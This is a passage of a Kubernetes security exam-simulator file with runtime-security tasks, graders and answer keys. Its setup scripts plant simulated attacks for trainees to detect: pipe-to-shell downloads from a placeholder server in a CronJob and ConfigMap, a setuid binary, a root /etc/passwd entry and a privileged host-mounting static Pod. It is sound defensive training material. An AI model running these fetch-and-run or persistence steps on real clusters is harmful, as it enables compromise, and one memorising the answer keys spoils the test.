kubestronaut-sim/cks/bank_runtime.py

"""CKS tasks 87-102: Monitoring, Logging and Runtime Security - the pool tasks that take the domain from 1 to 17.

  6.1 Behavioural       (Falco: none yet - see below)
      analytics
  6.2 Detect threats    87 a process that should not be there      88 a container that changed itself
                        89 who is calling that address?             90 a Pod nobody deployed
  6.3 Investigate       91 read an attack out of an audit log      92 hunt an indicator of compromise
                        93 who opened a shell in that Pod?          94 a leaked ServiceAccount token
  6.4 Immutability      95 a read-only root filesystem              96 which Pods can change themselves?
                        97 enforce it at admission                  98 frozen configuration, no shells
  6.5 Audit logs        99 a policy with four levels                100 who keeps reading that Secret?
                        101 audit exec and delete, nothing else     102 the API server is down since auditing

Falco watches system calls through eBPF or a kernel module. Exam hosts here are containers under
rootless podman and may load neither, so objective 6.1 has no task in this bank; it needs the VM
backend (see the README). Everything else is tested for real: processes and connections on the
nodes, tokens against the API, admission by dry run, and audit policies by making requests and
reading what the API server wrote. Every task has a scripted solution in solve.py.
"""
from cks.common import API, C, EXT, NET, PODS, PY, NS, ns_pick, name_pick
from cks.bank_harden import CAN, CURL

# Audit logging, for the setups that need it on and the checks that read the log.
AUDIT = r"""
ALOG=/var/log/kubernetes/audit/audit.log
# audit_setup < POLICY: switch on audit logging with that policy (/etc/kubernetes/audit/policy.yaml), log in $ALOG
audit_setup() {
  nx "$CP" 'mkdir -p /etc/kubernetes/audit /var/log/kubernetes/audit && cat > /etc/kubernetes/audit/policy.yaml' || return 1
  medit kube-apiserver.yaml '.spec.containers[0].command += ["--audit-policy-file=/etc/kubernetes/audit/policy.yaml", "--audit-log-path=/var/log/kubernetes/audit/audit.log", "--audit-log-maxage=7", "--audit-log-maxbackup=3"] | .spec.containers[0].volumeMounts += [{"name": "audit-policy", "mountPath": "/etc/kubernetes/audit", "readOnly": true}, {"name": "audit-log", "mountPath": "/var/log/kubernetes/audit"}] | .spec.volumes += [{"name": "audit-policy", "hostPath": {"path": "/etc/kubernetes/audit", "type": "DirectoryOrCreate"}}, {"name": "audit-log", "hostPath": {"path": "/var/log/kubernetes/audit", "type": "DirectoryOrCreate"}}]' || return 1
  wait_proc kube-apiserver '--audit-policy-file=' && wait_api
}
# aud 'JQ CONDITION': how many entries of the audit log match (double quotes in the condition, no single ones)
aud() { nx "$CP" "jq -c 'select($1)' $ALOG 2>/dev/null | wc -l" </dev/null | tr -dc '0-9'; }
# audlast 'JQ CONDITION' 'JQ PATH': a field of the newest matching entry
audlast() { nx "$CP" "jq -c 'select($1)' $ALOG 2>/dev/null | tail -1 | jq -r '$2'" </dev/null; }
"""

# tk TOKEN KUBECTL-ARGS..: kubectl with nothing but a bearer token - no client certificate
TOKEN = r"""
tk() {
  local t=$1 srv ca="$PRIV/ca.crt"; shift
  srv=$($K config view --raw -o jsonpath='{.clusters[0].cluster.server}')
  [ -s "$ca" ] || $K config view --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}' | base64 -d > "$ca"
  KUBECONFIG=/dev/null kubectl --server="$srv" --certificate-authority="$ca" --token="$t" "$@"
}
"""

SAME = r"""
# same LIST-FILE EXPECTED-FILE: the candidate's list names exactly the expected items
same() { [ -s "$1" ] && diff <(tr -d ' \r' < "$1" | grep . | sort -u) <(sort -u "$2") >/dev/null; }
"""

# scpod NS 'CONTAINER FIELDS' ['INIT CONTAINER FIELDS']: would the API server admit a Pod whose
# container (and init container) carry these JSON fields? (server-side dry run)
SCPOD = r"""
scpod() {
  local init=""; [ -n "${3:-}" ] && init="\"initContainers\": [{\"name\": \"init\", \"image\": \"busybox:1.36\", $3}],"
  $K apply --dry-run=server -f - >/dev/null 2>&1 <<EOF
{"apiVersion": "v1", "kind": "Pod", "metadata": {"name": "ksim-admission-probe", "namespace": "$1"},
 "spec": {$init "containers": [{"name": "c", "image": "busybox:1.36", $2}]}}
EOF
}
# nope ...: it would not - given the moment a new policy needs to take effect
nope() { local i; for i in 1 2 3 4 5 6; do scpod "$@" || return 0; sleep 3; done; return 1; }
"""

RO = '"securityContext": {"readOnlyRootFilesystem": true}'
PLAIN = '"command": ["true"]'
RO_PRIV = '"securityContext": {"readOnlyRootFilesystem": true, "privileged": true}'


def _four(r, base):
    n = ["frontend", "worker", "cache", "reports"]
    return {"ns": ns_pick(r, base), "bad": r.choice(n)}


QUESTIONS = [
# ================================================================ 6.2 Detect threats ====
{
 "id": 87, "domain": "RUNTIME", "title": "A process that should not be there", "workers": 1,
 "params": lambda r: dict(_four(r, "apps"), proc=r.choice(["xmrig", "kdevtmpfsi", "cryptod", "minerd"])),
 "task": """
Monitoring reports a process named **%{proc}** — a crypto miner — on node `{W1}`. It runs in a
container, but in which?

1. On `{W1}`, find the process and write its process id (as the node sees it) to
   `{WS}/q87/pid.txt`.
2. Find the Pod it runs in and write `<namespace>/<pod name>` to `{WS}/q87/pod.txt`.
3. Stop it for good: scale the Deployment that owns that Pod to 0 replicas. Leave everything else
   running.
""",
 "setup": NS + r"""
mkns %{ns}; rm -rf "$WS/q87"; mkdir -p "$WS/q87"
# (not busybox: it is one binary that decides what to be by the name it is called with, and a copy
# named after the miner would only say "applet not found" - this image has a sleep of its own)
for d in frontend worker cache reports; do
  cmd='exec sleep infinity'; [ $d = %{bad} ] && cmd='cp /bin/sleep /tmp/%{proc} && exec /tmp/%{proc} infinity'
  $K -n %{ns} create deploy $d --image=nginx:1.27 -- sh -c "$cmd" >/dev/null
done
for d in frontend worker cache reports; do $K -n %{ns} rollout status deploy $d --timeout=240s >/dev/null || exit 1; done
pod=$($K -n %{ns} get pod -l app=%{bad} -o jsonpath='{.items[0].metadata.name}'); node=$(j -n %{ns} pod "$pod" '{.spec.nodeName}')
for i in $(seq 1 20); do pid=$(nx "$node" 'pgrep -x %{proc}' </dev/null | head -1); [ -n "$pid" ] && break; sleep 1; done
[ -n "$pid" ] && [ "$node" = "$W1" ] && echo "$pid %{ns}/$pod" > "$PRIV/q87"
""",
 "checks": [
  C("pid.txt holds the process id of %{proc} on the node", 3, r"""read -r pid pod < "$PRIV/q87"; eq "$(tr -dc '0-9' < "$WS/q87/pid.txt" 2>/dev/null)" "$pid" """),
  C("pod.txt names the Pod it ran in", 3, r"""read -r pid pod < "$PRIV/q87"; eq "$(tr -d ' \n\r' < "$WS/q87/pod.txt" 2>/dev/null)" "$pod" """),
  C("its Deployment is scaled to 0 and the process is gone; the other Deployments still run", 4, r"""
eq "$(j -n %{ns} deploy %{bad} '{.spec.replicas}')" 0 || exit 1
for d in frontend worker cache reports; do [ $d = %{bad} ] || [ "$(j -n %{ns} deploy $d '{.status.availableReplicas}')" = 1 ] || exit 1; done
for i in $(seq 1 15); do nx "$W1" 'pgrep -x %{proc}' </dev/null >/dev/null || exit 0; sleep 3; done; exit 1"""),
 ],
 "solution": """
{SHELL_W1}
pgrep -a %{proc}                                 # the pid, as the node sees it        -> {WS}/q87/pid.txt
cat /proc/PID/cgroup                             # ...kubepods...pod<uid>.../cri-containerd-<container id>.scope
sudo crictl ps --no-trunc | grep <first characters of the container id>
sudo crictl inspect <container id> | jq -r '.status.labels | ."io.kubernetes.pod.namespace" + "/" + ."io.kubernetes.pod.name"'
exit
#   -> {WS}/q87/pod.txt, then:
k -n %{ns} get pod <pod> -o jsonpath='{.metadata.ownerReferences[0].name}'      # its ReplicaSet -> the Deployment
k -n %{ns} scale deploy %{bad} --replicas=0
# A container is a process of the node: `ps` there shows it, and its cgroup names the Pod's uid and
# the container id. Deleting the Pod would only make the Deployment start it again.
# The other way round: crictl inspect -o go-template --template '{{.info.pid}}' <container id>
""",
},
{
 "id": 88, "domain": "RUNTIME", "title": "A container that changed itself",
 "params": lambda r: {"ns": ns_pick(r, "svc"), "bad": r.choice(["api", "billing", "search"])},
 "task": """
Containers are supposed to stay what their image is. Namespace `%{ns}` runs three Deployments from
the same image and with one replica each — `api`, `billing` and `search` — and the container of one
of them has modified its own filesystem since it started.

1. Find out which one and write the Deployment's name to `{WS}/q88/deployment.txt`.
2. An executable was added to that container. Write its full path to `{WS}/q88/added.txt`.
3. Make it impossible: give that Deployment's container a read-only root filesystem. The new Pod
   must be running, without the added file.
""",
 "setup": NS + r"""
mkns %{ns}; rm -rf "$WS/q88"; mkdir -p "$WS/q88"
for d in api billing search; do
  cmd='exec sleep 2147483647'
  [ $d = %{bad} ] && cmd='sleep 2; cp /bin/busybox /bin/.update 2>/dev/null; chmod 4755 /bin/.update 2>/dev/null; echo "svc:x:0:0::/root:/bin/sh" >> /etc/passwd 2>/dev/null; exec sleep 2147483647'
  $K -n %{ns} create deploy $d --image=busybox:1.36 -- sh -c "$cmd" >/dev/null
done
for d in api billing search; do $K -n %{ns} rollout status deploy $d --timeout=240s >/dev/null || exit 1; done
for i in $(seq 1 20); do $K -n %{ns} exec deploy/%{bad} -- test -e /bin/.update 2>/dev/null && exit 0; sleep 1; done
echo "the container did not change itself" >&2; exit 1
""",
 "checks": [
  C("deployment.txt names the Deployment", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q88/deployment.txt" 2>/dev/null | sed 's#.*/##')" %{bad}"""),
  C("added.txt holds the path of the executable", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q88/added.txt" 2>/dev/null)" /bin/.update"""),
  C("that Deployment now has a read-only root filesystem, and its Pod runs clean", 4, r"""
eq "$(j -n %{ns} deploy %{bad} '{.spec.template.spec.containers[0].securityContext.readOnlyRootFilesystem}')" true || exit 1
for i in $(seq 1 20); do [ "$(j -n %{ns} deploy %{bad} '{.status.updatedReplicas}')" = 1 ] && [ "$(j -n %{ns} deploy %{bad} '{.status.availableReplicas}')" = 1 ] && break; sleep 3; done
p=$($K -n %{ns} get pod -l app=%{bad} --field-selector status.phase=Running --sort-by=.metadata.creationTimestamp -o jsonpath='{.items[-1:].metadata.name}'); [ -n "$p" ] || exit 1
sleep 3; $K -n %{ns} exec "$p" -- true 2>/dev/null && ! $K -n %{ns} exec "$p" -- test -e /bin/.update 2>/dev/null && ! $K -n %{ns} exec "$p" -- grep -q '^svc:' /etc/passwd 2>/dev/null"""),
 ],
 "solution": """
for d in api billing search; do
  echo "== $d"; k -n %{ns} exec deploy/$d -- sh -c 'ls -A /bin | wc -l; md5sum /etc/passwd; find / -xdev -type f -perm -4000 2>/dev/null'
done                                             # one differs: an extra file in /bin, another /etc/passwd, a setuid file
k -n %{ns} exec deploy/%{bad} -- ls -la /bin/.update
echo %{bad} > {WS}/q88/deployment.txt; echo /bin/.update > {WS}/q88/added.txt
k -n %{ns} patch deploy %{bad} --type=json -p '[{"op":"add","path":"/spec/template/spec/containers/0/securityContext","value":{"readOnlyRootFilesystem":true}}]'
k -n %{ns} rollout status deploy %{bad}
k -n %{ns} exec deploy/%{bad} -- touch /bin/x    # Read-only file system
# Same image, different content: comparing replicas (or a container with a fresh one from the same
# image) is how drift shows. On the node the same is visible without exec: the container's
# writable layer holds exactly the files that were added or changed. Falco's rules for this are
# "Drop and execute new binary in container" and "Write below binary dir".
""",
},
{
 "id": 89, "domain": "RUNTIME", "title": "Who is calling that address?", "workers": 1,
 "params": lambda r: _four(r, "prod"),
 "task": """
The firewall team sees connections from this cluster to **198.51.100.77**, port 80 — a known
command-and-control address. They come from node `{W1}`; nobody knows from which Pod.

1. Find the Pod that connects to that address and write `<namespace>/<pod name>` to
   `{WS}/q89/pod.txt`.
2. Cut it off, but keep it for the investigation: do **not** delete the Pod or scale its
   Deployment. Create NetworkPolicy `isolate-c2` in the Pod's Namespace that selects the Pods of
   that Deployment (label `app=<deployment>`) and allows them no outgoing traffic at all.

The other workloads must keep working.
""",
 "setup": EXT + PODS + r"""
mkns %{ns}; rm -rf "$WS/q89"; mkdir -p "$WS/q89"
extsvc c2-server 198.51.100.77 beacon 'ack' || exit 1
srv %{ns} api
for d in frontend worker cache reports; do
  u=http://api; [ $d = %{bad} ] && u=http://198.51.100.77/beacon
  $K -n %{ns} create deploy $d --image=busybox:1.36 -- sh -c "while true; do wget -T 2 -qO- $u >/dev/null 2>&1; sleep 3; done" >/dev/null
done
for d in frontend worker cache reports; do $K -n %{ns} rollout status deploy $d --timeout=240s >/dev/null || exit 1; done
ready %{ns} || exit 1
pod=$($K -n %{ns} get pod -l app=%{bad} -o jsonpath='{.items[0].metadata.name}')
for i in $(seq 1 20); do $K -n %{ns} exec "$pod" -- wget -T 2 -qO- http://198.51.100.77/beacon 2>/dev/null | grep -q ack && break; sleep 2; done
$K -n %{ns} exec "$pod" -- wget -T 2 -qO- http://198.51.100.77/beacon 2>/dev/null | grep -q ack || { echo "198.51.100.77 does not answer from the Pod" >&2; exit 1; }
echo "%{ns}/$pod $(j -n %{ns} pod "$pod" '{.metadata.uid}')" > "$PRIV/q89"
""",
 "checks": [
  C("pod.txt names the Pod that calls 198.51.100.77", 4, r"""read -r pod uid < "$PRIV/q89"; eq "$(tr -d ' \n\r' < "$WS/q89/pod.txt" 2>/dev/null)" "$pod" """),
  C("isolate-c2 selects app=%{bad} and allows no egress", 3, PY + r"""
py -n %{ns} netpol isolate-c2 '
s = o["spec"]
s["podSelector"].get("matchLabels") == {"app": "%{bad}"} and "Egress" in s.get("policyTypes", []) and not s.get("egress")'"""),
  C("the Pod is still there and reaches neither that address nor anything else; the others work", 3, NET + r"""
read -r pod uid < "$PRIV/q89"; p=${pod#*/}
has -n %{ns} netpol isolate-c2 && eq "$(j -n %{ns} pod "$p" '{.metadata.uid}')" "$uid" && eq "$(j -n %{ns} deploy %{bad} '{.spec.replicas}')" 1 || exit 1
other=$([ %{bad} = frontend ] && echo worker || echo frontend)
okr %{ns} deploy/$other http://api && blocked %{ns} "$p" http://198.51.100.77/beacon && blocked %{ns} "$p" http://api"""),
 ],
 "solution": """
{SHELL_W1}
sudo conntrack -L -d 198.51.100.77 2>/dev/null | head -3      # src=10.244.x.y ... dport=80: the Pod's address
exit
k get pod -A -o wide | grep -w 10.244.x.y                      # -> %{ns}/<pod>   -> {WS}/q89/pod.txt
cat <<EOF | k apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: {name: isolate-c2, namespace: %{ns}}
spec:
  podSelector: {matchLabels: {app: %{bad}}}
  policyTypes: [Egress]
EOF
k -n %{ns} exec <pod> -- wget -T 2 -qO- http://198.51.100.77/beacon      # times out
# The node's connection tracking table knows every flow that passes through it, with the Pod's
# address as the source; `tcpdump -ni any host 198.51.100.77` shows the same, live.
# policyTypes: [Egress] with no egress rules is "nothing out" - DNS included. The Pod stays, with
# its processes and files, for whoever examines it.
""",
},
{
 "id": 90, "domain": "RUNTIME", "title": "A Pod nobody deployed", "workers": 1,
 "params": lambda r: {"name": r.choice(["kube-proxy-helper", "node-exporter-agent", "kubelet-tuner", "cni-repair"])},
 "task": """
A Pod named `%{name}-{W1}` runs in Namespace `kube-system`. Nobody deployed it, it is privileged
and mounts the node's whole filesystem — and when it is deleted with `kubectl`, it is back within
seconds.

1. Find out where it comes from, and write the full path of the file that defines it (on the node
   it runs on) to `{WS}/q90/source.txt`.
2. Remove it for good.
3. Write the name of the kubelet configuration setting that makes the kubelet run what it finds
   in that directory to `{WS}/q90/setting.txt`.
""",
 "setup": r"""
rm -rf "$WS/q90"; mkdir -p "$WS/q90"
nx "$W1" 'mkdir -p /etc/kubernetes/manifests && cat > /etc/kubernetes/manifests/%{name}.yaml' <<'EOF' || exit 1
apiVersion: v1
kind: Pod
metadata:
  name: %{name}
  namespace: kube-system
  labels: {tier: node}
spec:
  hostNetwork: true
  hostPID: true
  containers:
    - name: agent
      image: busybox:1.36
      command: ["sh", "-c", "while true; do sleep 3600; done"]
      securityContext: {privileged: true}
      volumeMounts: [{name: host, mountPath: /host}]
  volumes:
    - {name: host, hostPath: {path: /}}
EOF
for i in $(seq 1 40); do [ "$(j -n kube-system pod "%{name}-$W1" '{.status.phase}')" = Running ] && exit 0; sleep 3; done
echo "the static Pod did not start" >&2; exit 1
""",
 "checks": [
  C("source.txt holds the path of the manifest", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q90/source.txt" 2>/dev/null)" /etc/kubernetes/manifests/%{name}.yaml"""),
  C("the manifest is gone from {W1}, and so are the Pod and its container", 4, r"""
nx "$W1" '! test -e /etc/kubernetes/manifests/%{name}.yaml && ! grep -rqs "name: %{name}" /etc/kubernetes/manifests/' </dev/null || exit 1
for i in $(seq 1 20); do
  [ -z "$(j -n kube-system pod "%{name}-$W1" '{.metadata.name}')" ] && [ -z "$(nx "$W1" 'crictl ps -q --label io.kubernetes.pod.name=%{name}-'"$W1" </dev/null)" ] && exit 0; sleep 3
done; exit 1"""),
  C("setting.txt names the kubelet setting", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q90/setting.txt" 2>/dev/null)" staticPodPath"""),
 ],
 "solution": """
k -n kube-system get pod %{name}-{W1} -o yaml | grep -A6 -E 'ownerReferences|annotations'
#   ownerReferences: kind: Node    and    kubernetes.io/config.source: file     -> a static Pod of that node
{SHELL_W1}
sudo grep -n staticPodPath /var/lib/kubelet/config.yaml      # staticPodPath: /etc/kubernetes/manifests
sudo ls -l /etc/kubernetes/manifests/                        # %{name}.yaml
sudo rm /etc/kubernetes/manifests/%{name}.yaml
exit
k -n kube-system get pod | grep %{name}                      # gone after a few seconds
# What `kubectl` shows of a static Pod is a mirror: deleting the mirror does nothing to the
# container, the kubelet re-creates it at once. The kubelet runs every manifest in staticPodPath
# without asking the API server - no admission control, no RBAC, no audit entry for its creation.
# Whoever can write to that directory on a node owns the node: a classic way to stay.
""",
},
# =================================================================== 6.3 Investigate ====
{
 "id": 91, "domain": "RUNTIME", "title": "Read an attack out of an audit log",
 "params": lambda r: {"ns": ns_pick(r, "payments"), "sa": name_pick(r, "builder"),
                      "secret": r.choice(["stripe-live-key", "card-vault-token", "settlement-creds"]),
                      "ip": "10.244.%d.%d" % (r.randint(1, 3), r.randint(20, 240)),
                      "crb": r.choice(["cluster-monitoring-view", "metrics-aggregator-auth", "node-problem-fixer", "system-diagnostics"]),
                      "seed": r.randint(1000, 9999)},
 "task": """
`{WS}/q91/audit.log` is the Kubernetes audit log of the hour in which Secret `%{secret}` of
Namespace `%{ns}` was stolen. Each line is one audit event (JSON); `jq` is on the host.

1. Which identity **read** that Secret — successfully? Write its user name, as logged, to
   `{WS}/q91/actor.txt`.
2. From which IP address did it come? Write it to `{WS}/q91/ip.txt`.
3. The same identity then made itself cluster-admin. Write the name of the ClusterRoleBinding it
   created to `{WS}/q91/binding.txt`.
4. That ClusterRoleBinding still exists in this cluster: delete it.
""",
 "setup": NS + r"""
mkns %{ns}; rm -rf "$WS/q91"; mkdir -p "$WS/q91"
$K -n %{ns} create sa %{sa} >/dev/null; $K -n %{ns} create secret generic %{secret} --from-literal=key=sk_live_%{seed} >/dev/null
$K create clusterrolebinding %{crb} --clusterrole=cluster-admin --serviceaccount=%{ns}:%{sa} >/dev/null
python3 - "$WS/q91/audit.log" <<'PYEOF'
import json, random, sys, uuid, datetime
r = random.Random(%{seed})
t = datetime.datetime(2026, 9, 14, 2, 0, 0)
ACTOR, IP = "system:serviceaccount:%{ns}:%{sa}", "%{ip}"
out = []

def ev(user, groups, ip, verb, res, ns, name, code, sub=None, group="", agent="kubectl/v1.37.0"):
    global t
    t += datetime.timedelta(seconds=r.randint(1, 9), microseconds=r.randint(0, 999999))
    uri = ("/api/v1" if not group else "/apis/" + group + "/v1") + ("/namespaces/" + ns if ns else "") + "/" + res + ("/" + name if name else "") + ("/" + sub if sub else "")
    ref = {"resource": res, "apiVersion": "v1"}
    if group: ref["apiGroup"] = group
    if ns: ref["namespace"] = ns
    if name: ref["name"] = name
    if sub: ref["subresource"] = sub
    ts = t.strftime("%Y-%m-%dT%H:%M:%S.%fZ")
    out.append({"kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": str(uuid.UUID(int=r.getrandbits(128))),
                "stage": "ResponseComplete", "requestURI": uri, "verb": verb, "user": {"username": user, "groups": groups}, "sourceIPs": [ip],
                "userAgent": agent, "objectRef": ref, "responseStatus": {"metadata": {}, "code": code},
                "requestReceivedTimestamp": ts, "stageTimestamp": ts, "annotations": {"authorization.k8s.io/decision": "allow" if code < 400 else "forbid"}})

SA = ["system:serviceaccounts", "system:authenticated"]
def noise(n):
    for _ in range(n):
        k = r.randint(0, 6)
        if k == 0: ev("system:kube-scheduler", ["system:authenticated"], "10.89.0.5", "update", "leases", "kube-system", "kube-scheduler", 200, group="coordination.k8s.io", agent="kube-scheduler")
        elif k == 1: ev("system:kube-controller-manager", ["system:authenticated"], "10.89.0.5", "update", "leases", "kube-system", "kube-controller-manager", 200, group="coordination.k8s.io", agent="kube-controller-manager")
        elif k == 2: ev("system:node:worker-1", ["system:nodes", "system:authenticated"], "10.89.0.6", "get", "secrets", "%{ns}", "registry-pull", 200, agent="kubelet")
        elif k == 3: ev("system:serviceaccount:%{ns}:default", SA, "10.244.2.%d" % r.randint(2, 250), "get", "configmaps", "%{ns}", "app-config", 200, agent="app/1.4")
        elif k == 4: ev("system:serviceaccount:monitoring:prometheus", SA, "10.244.1.9", "list", "pods", "", "", 200, agent="Prometheus/2.53")
        elif k == 5: ev("jane", ["dev", "system:authenticated"], "192.168.40.17", "list", "pods", "%{ns}", "", 200)
        else: ev("system:serviceaccount:kube-system:coredns", SA, "10.244.0.3", "watch", "endpointslices", "", "", 200, group="discovery.k8s.io", agent="coredns")

noise(60)
ev("system:serviceaccount:%{ns}:default", SA, "10.244.2.77", "get", "secrets", "%{ns}", "%{secret}", 403, agent="curl/8.5.0")      # tried, and was refused
noise(25)
ev("jane", ["dev", "system:authenticated"], "192.168.40.17", "list", "secrets", "%{ns}", "", 403)
noise(30)
ev(ACTOR, SA, IP, "list", "secrets", "kube-system", "", 403, agent="curl/8.5.0")
ev(ACTOR, SA, IP, "list", "secrets", "%{ns}", "", 403, agent="curl/8.5.0")
noise(4)
ev(ACTOR, SA, IP, "get", "secrets", "%{ns}", "%{secret}", 200, agent="curl/8.5.0")
noise(12)
ev(ACTOR, SA, IP, "create", "clusterrolebindings", "", "", 403, group="rbac.authorization.k8s.io", agent="kubectl/v1.30.2")
noise(8)
ev(ACTOR, SA, IP, "create", "clusterrolebindings", "", "%{crb}", 201, group="rbac.authorization.k8s.io", agent="kubectl/v1.30.2")
noise(6)
ev(ACTOR, SA, IP, "list", "secrets", "kube-system", "", 200, agent="kubectl/v1.30.2")
ev(ACTOR, SA, IP, "create", "pods", "kube-system", "debug-shell", 201, agent="kubectl/v1.30.2")
noise(70)
open(sys.argv[1], "w").write("".join(json.dumps(e, separators=(",", ":")) + "\n" for e in out))
PYEOF
[ "$(wc -l < "$WS/q91/audit.log")" -gt 200 ]
""",
 "checks": [
  C("actor.txt names the identity that read the Secret", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q91/actor.txt" 2>/dev/null)" system:serviceaccount:%{ns}:%{sa}"""),
  C("ip.txt holds its source address", 2, r"""eq "$(tr -d ' \n\r' < "$WS/q91/ip.txt" 2>/dev/null)" %{ip}"""),
  C("binding.txt names the ClusterRoleBinding it created", 2, r"""eq "$(tr -d ' \n\r' < "$WS/q91/binding.txt" 2>/dev/null | sed 's#.*/##')" %{crb}"""),
  C("that ClusterRoleBinding is deleted: the ServiceAccount is no longer cluster-admin", 3, CAN + r"""
[ -z "$(j clusterrolebinding %{crb} '{.metadata.name}')" ] && cannot --as=system:serviceaccount:%{ns}:%{sa} -- '*' '*' && [ -n "$(j clusterrolebinding cluster-admin '{.metadata.name}')" ]"""),
 ],
 "solution": """
cd {WS}/q91
jq -c 'select(.objectRef.resource == "secrets" and .objectRef.name == "%{secret}") | [.user.username, .verb, .responseStatus.code, .sourceIPs[0]]' audit.log
#   two identities asked; only one got 200                         -> actor.txt, ip.txt
jq -c 'select(.user.username == "system:serviceaccount:%{ns}:%{sa}") | [.requestReceivedTimestamp, .verb, .objectRef.resource, .objectRef.name, .responseStatus.code]' audit.log
#   list secrets 403, get secret 200, create clusterrolebindings 403 then 201 (%{crb}), a Pod in kube-system
echo %{crb} > binding.txt
k get clusterrolebinding %{crb} -o wide && k delete clusterrolebinding %{crb}
# Read the whole trail of the identity, in order: reconnaissance (the 403s), the theft, the
# escalation, a foothold. The status code separates an attempt from a success, and the user agent
# tells kubectl from a script. A ServiceAccount is what was used - whose Pod or stolen token it
# was is the next question.
""",
},
{
 "id": 92, "domain": "RUNTIME", "title": "Hunt an indicator of compromise",
 "params": lambda r: {"ns": ns_pick(r, "media")},
 "task": """
Threat intelligence names **198.51.100.66** as the address of a malware distribution server. An
intruder has planted references to it in this cluster.

1. Find every workload object (Deployment, DaemonSet, StatefulSet, CronJob, Job) and every
   ConfigMap, in **any** Namespace, that refers to exactly that address. Write them to
   `{WS}/q92/found.txt`, one per line, as `<kind>/<namespace>/<name>` with the kind in lower case
   — for example `deployment/default/web`. Do not list the Pods or ReplicaSets they create.
2. Delete those objects.

Leave everything else alone — other objects use similar-looking addresses legitimately.
""",
 "setup": NS + r"""
mkns %{ns}; mkns %{ns}-tools; rm -rf "$WS/q92"; mkdir -p "$WS/q92"
$K -n %{ns} create deploy web --image=busybox:1.36 -- sleep 86400 >/dev/null
$K -n %{ns} create configmap upstreams --from-literal=primary=198.51.100.6 --from-literal=secondary=198.51.100.166 >/dev/null
$K -n %{ns}-tools create deploy proxy --image=busybox:1.36 -- sleep 86400 >/dev/null
$K -n %{ns}-tools set env deploy proxy UPSTREAM=198.51.100.166:8080 >/dev/null
$K -n %{ns} create cronjob log-rotate --image=busybox:1.36 --schedule='*/30 * * * *' -- sh -c 'wget -qO- http://198.51.100.66/r.sh | sh' >/dev/null
$K -n %{ns}-tools create deploy metrics-cache --image=busybox:1.36 -- sleep 86400 >/dev/null
$K -n %{ns}-tools set env deploy metrics-cache UPDATE_URL=http://198.51.100.66/update >/dev/null
$K -n default create configmap bootstrap-script --from-literal=run.sh='#!/bin/sh
curl -s http://198.51.100.66/stage2 | sh' >/dev/null
$K apply -f - >/dev/null <<EOF
apiVersion: apps/v1
kind: DaemonSet
metadata: {name: node-tuner, namespace: kube-system}
spec:
  selector: {matchLabels: {app: node-tuner}}
  template:
    metadata: {labels: {app: node-tuner}}
    spec:
      tolerations: [{operator: Exists}]
      containers:
        - name: tuner
          image: busybox:1.36
          command: ["sh", "-c", "while true; do sleep 3600; done"]
          args: ["--controller=198.51.100.66:4444"]
EOF
printf 'configmap/default/bootstrap-script\ncronjob/%{ns}/log-rotate\ndaemonset/kube-system/node-tuner\ndeployment/%{ns}-tools/metrics-cache\n' > "$PRIV/q92.found"
""",
 "checks": [
  C("found.txt lists the four objects that refer to 198.51.100.66", 4, r"""
[ -s "$WS/q92/found.txt" ] && diff <(tr -d ' \r' < "$WS/q92/found.txt" | tr 'A-Z' 'a-z' | sed 's#\.apps/#/#; s#\.batch/#/#' | grep . | sort -u) "$PRIV/q92.found" >/dev/null"""),
  C("all four are deleted", 4, r"""
[ -z "$(j -n default cm bootstrap-script '{.metadata.name}')" ] && [ -z "$(j -n %{ns} cronjob log-rotate '{.metadata.name}')" ] \
 && [ -z "$(j -n kube-system ds node-tuner '{.metadata.name}')" ] && [ -z "$(j -n %{ns}-tools deploy metrics-cache '{.metadata.name}')" ]"""),
  C("the objects with similar addresses are untouched", 2, r"""
[ -z "$(j -n %{ns}-tools deploy metrics-cache '{.metadata.name}')" ] && [ -z "$(j -n %{ns} cronjob log-rotate '{.metadata.name}')" ] || exit 1
[ -n "$(j -n %{ns} cm upstreams '{.metadata.name}')" ] && [ -n "$(j -n %{ns}-tools deploy proxy '{.metadata.name}')" ] && [ -n "$(j -n %{ns} deploy web '{.metadata.name}')" ]"""),
 ],
 "solution": """
k get deploy,ds,sts,cronjob,job,cm -A -o json | jq -r '.items[]
  | select(tostring | test("198\\\\.51\\\\.100\\\\.66([^0-9]|$)"))
  | (.kind | ascii_downcase) + "/" + .metadata.namespace + "/" + .metadata.name' | tee {WS}/q92/found.txt
#   configmap/default/bootstrap-script  cronjob/%{ns}/log-rotate  daemonset/kube-system/node-tuner  deployment/%{ns}-tools/metrics-cache
k -n default delete cm bootstrap-script; k -n %{ns} delete cronjob log-rotate
k -n kube-system delete ds node-tuner; k -n %{ns}-tools delete deploy metrics-cache
# Search the objects, not your memory of them: the address sits in a command, an argument, an
# environment variable and a script in a ConfigMap. `tostring` turns the whole object into text
# for the match; the ([^0-9]|$) after it keeps 198.51.100.66 from matching ...100.660 - and the
# plain `grep 198.51.100.6` would have caught the legitimate 198.51.100.6 as well.
# CronJobs and DaemonSets are how an intruder comes back after the Pods are gone.
""",
},
{
 "id": 93, "domain": "RUNTIME", "title": "Who opened a shell in that Pod?", "difficulty": "hard",
 "params": lambda r: {"ns": ns_pick(r, "ledger"), "pod": name_pick(r, "vault"), "sa": r.choice(["contractor-ci", "legacy-deployer", "support-bot"])},
 "task": """
Audit logging is on in this cluster: the API server writes `/var/log/kubernetes/audit/audit.log`
on `{CP}`. Somebody ran a command inside Pod `%{pod}` of Namespace `%{ns}` (`kubectl exec`).

1. Find out who. Write the user name, as the audit log has it, to `{WS}/q93/user.txt`.
2. Save the audit event of that exec — the JSON line — to `{WS}/q93/event.json`.
3. Take the ability away: that identity must no longer be able to exec into Pods of `%{ns}`. It
   keeps reading Pods and their logs.
""",
 "setup": NS + API + AUDIT + TOKEN + r"""
mkns %{ns}; rm -rf "$WS/q93"; mkdir -p "$WS/q93"
audit_setup <<'EOF' || { echo "could not switch on audit logging" >&2; exit 1; }
apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: [RequestReceived]
rules:
  - level: Metadata
EOF
for s in %{sa} pipeline; do
  $K -n %{ns} create sa $s >/dev/null
  $K apply -f - >/dev/null <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
